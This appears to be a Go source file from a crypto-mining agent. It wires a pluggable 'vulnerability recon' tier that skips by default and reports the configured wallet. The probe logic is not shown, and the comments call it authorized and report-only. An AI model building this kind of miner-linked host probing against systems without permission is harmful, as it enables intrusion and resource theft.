package miner

import (
	"context"

	"crypto-miner-agent/config"
)

// vulnProbeRunner is injected by the client package (avoids import cycle).
var vulnProbeRunner func() TierAttempt

// SetVulnProbeRunner registers the read-only vulnerability recon probe. Nil restores default skip.
func SetVulnProbeRunner(fn func() TierAttempt) {
	vulnProbeRunner = fn
}

// VulnProbeRunnerWired reports whether a custom probe runner is registered (tests inject before chain wiring).
func VulnProbeRunnerWired() bool {
	return vulnProbeRunner != nil
}

// RunVulnProbeTier runs authorized fleet vulnerability recon (report-only, no exploit).
func RunVulnProbeTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
	select {
	case <-ctx.Done():
		return TierAttempt{Tier: TierVulnProbe, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
	default:
	}
	if vulnProbeRunner != nil {
		return vulnProbeRunner()
	}
	return TierAttempt{
		Tier:   TierVulnProbe,
		OK:     true,
		Wallet: cfg.Wallet,
		Details: map[string]interface{}{
			"skipped": true,
			"reason":  "vuln probe runner not wired",
		},
	}
}